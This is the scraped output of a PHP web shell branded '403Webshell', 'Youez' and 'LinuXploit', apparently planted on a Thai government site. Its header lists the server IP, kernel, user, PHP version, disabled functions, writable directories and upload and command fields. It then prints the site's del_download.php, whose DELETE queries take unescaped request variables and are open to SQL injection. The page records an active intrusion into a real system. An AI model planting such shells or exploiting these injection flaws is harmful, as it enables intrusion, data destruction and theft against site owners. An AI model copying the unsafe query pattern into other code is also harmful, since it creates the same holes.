403Webshell
Server IP : 119.59.102.212  /  Your IP : 3.22.217.190
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/download/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/download/del_download.php
<?php
// Status Package Module
$status_module=select_query("status_module","cms_status_module","id","28");
if($status_module[0]!=1)	{	
	fieldset_no_module();
}
if(id_sub_permission(7)!=1){	
	permission_fail();			
}
$navig['download']="ดาวน์โหลด";
$navig['edit_download']="ลบข้อมูล";
navigator($navig);
echo"<br>";
bar_header("ดาวน์โหลด"); // Bar_Header
fieldset_top("ดาวน์โหลด");
import_request_variables('pG', 'p_');
if($p_id_group!="")							{  $id_group=trim($p_id_group);												}
if($p_del_download_g!="")				{  $del_download_g=trim($p_del_download_g);					}
if($p_del_download_s!="")				{  $del_download_s=trim($p_del_download_s);					}
if($p_ids!="")										{  $ids=trim($p_ids);																		}

// ################################# ลบหัวข้อลิงค์พร้อมลูกด้วย  ############
if($id_group!="" and $del_download_g=="1")
{
			$sql="DELETE FROM cms_download_group WHERE id_group=$id_group";
			$result=mysql_query($sql);

		  // ลบไฟล์เก่าออกก่อน	
					$sql1="select download  from cms_download  where id_group=$id_group";
					$result1=mysql_query($sql1);
					while($data1=mysql_fetch_row($result1)){
								if($data1[0]!="")		{			unlink("$_SESSION[web_name]/mainfile/$data1[0]");		}
					}

			$sql="DELETE FROM cms_download WHERE id_group=$id_group";
			$result=mysql_query($sql);

		echo "<br><br><center>ข้อมูลได้ถูกลบแล้ว</center><br><br>";
		echo"<meta http-equiv='refresh' content='2; url=index.php?mod=download&path=download'>";
//		include('coremain/footer.php');
		exit;
}

// ################################# ลบลูกลิงค์ ############
if($ids!="" and $del_download_s=="1")
{
		  // ลบไฟล์เก่าออกก่อน	
					$sql1="select download  from cms_download  where id='$ids'";
					$result1=mysql_query($sql1);
					$data1=mysql_fetch_row($result1);
					if($data1[0]!="")		{			unlink("$_SESSION[web_name]/mainfile/$data1[0]");		}

			$sql="DELETE FROM cms_download WHERE id=$ids";
			$result=mysql_query($sql);
		echo "<br><br><center>ข้อมูลได้ถูกลบแล้ว</center><br><br>";
		echo"<meta http-equiv='refresh' content='2; url=index.php?mod=download&path=download'>";
//		include('coremain/footer.php');
		exit;
}
fieldset_down();

?>

Youez - 2016 - github.com/yon3zu
LinuXploit